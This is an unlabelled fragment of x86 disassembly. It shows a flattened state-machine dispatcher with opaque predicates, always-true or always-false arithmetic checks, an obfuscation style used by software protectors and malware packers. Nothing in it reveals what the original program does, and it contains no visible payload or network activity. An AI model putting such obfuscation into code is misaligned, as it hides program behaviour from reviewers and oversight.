shl eax, 8
sub eax, ecx
shr eax, 0xc
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x77b9
dec edx
mov eax, 0xc805c99
cmp ecx, edx
je 0x43b136
mov eax, 0xc612c5ad
jmp 0x43b136
mov eax, dword [esi + 8]
add eax, 0x59
shr eax, 8
imul edi, eax, 0x3c7870
mov dword [esi + 8], edi
push 0x6096
push edi
push 0x2bc9
call fcn.00425c83
add esp, 0xc
push 0x1966
push 0x4604
push edi
call fcn.00425c83
add esp, 0xc
mov eax, 0x9487decb
cmp edi, 0x7f
ja 0x43b136
mov eax, 0xb5399fba
jmp 0x43b136
imul eax, dword [esi + 8], 0x26fbec0
add eax, 0xffffd2a3
mov dword [esi + 8], eax
push 0x2d2b
push 0x4ae4
push eax
push 0x3f3f
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0x863a2336
jmp 0x435830
imul edi, dword [esi + 8], 0x1545
add edi, 0xfffc18b8
mov dword [esi + 8], edi
call fcn.00407763
push edi
call fcn.00435818
add esp, 4
mov eax, 0x7131b82e
cmp edi, 0x17
jge 0x43b136
mov eax, 0xd05b7f21
jmp 0x43b136
push 0x18
push 0x468bf0
push dword [esi + 0xfc]
call fcn.004441d0
add esp, 0xc
mov dword [esi + 4], 0x1f54ac28
jmp 0x435830
push dword [esi + 0x108]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov dword [esi + 0x188], eax
mov dword [esi + 4], 0xd7b4c8d6
jmp 0x435830
mov eax, dword [esi + 0xc]
shl eax, 6
and eax, 0x7fffc0
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x188fec6
jmp 0x435830
mov eax, dword [esi + 8]
lea eax, [eax*4 - 0x4e000]
and eax, 0xfffff800
or eax, 0xd9
mov dword [esi + 8], eax
push eax
call fcn.00435818
add esp, 4
mov dword [esi + 4], 0x7f31619f
jmp 0x435830
mov eax, dword [esi + 8]
shr eax, 0xe
imul ecx, eax, 0x26000
mov dword [esi + 8], ecx
mov eax, 0x4fabe3a2
test ecx, ecx
je 0x43b136
mov eax, 0x9cc835ea
jmp 0x43b136
mov eax, dword [esi + 0xc]
shr eax, 4
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x70b3
dec edx
mov eax, 0xd00f3da3
cmp ecx, edx
je 0x43b136
mov eax, 0xf44ecfb2
jmp 0x43b136
mov ecx, dword [esi + 8]
shl ecx, 0xc
or ecx, 0x12
mov dword [esi + 8], ecx
mov eax, 0x157b8e02
cmp ecx, 0x4b
jge 0x43b136
mov eax, 0x411b18cb
mov dword [esi + 4], eax
jmp 0x435830
mov ecx, dword [esi + 0xc]
lea eax, [ecx + ecx*2]
shl eax, 3
sub eax, ecx
lea ecx, [eax + 0xfffe4]
imul eax, eax
shr ecx, 2
imul edx, eax, 0x87ed
dec edx
imul ecx, ecx, 0x14d5c000
mov dword [esi + 0xc], ecx
mov ecx, 0x13ed62a0
cmp eax, edx
je 0x43b173
mov ecx, 0xab8a5b55
mov dword [esi + 4], ecx
jmp 0x435830
cmp eax, 0xa30b2c58
jne 0x435830
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret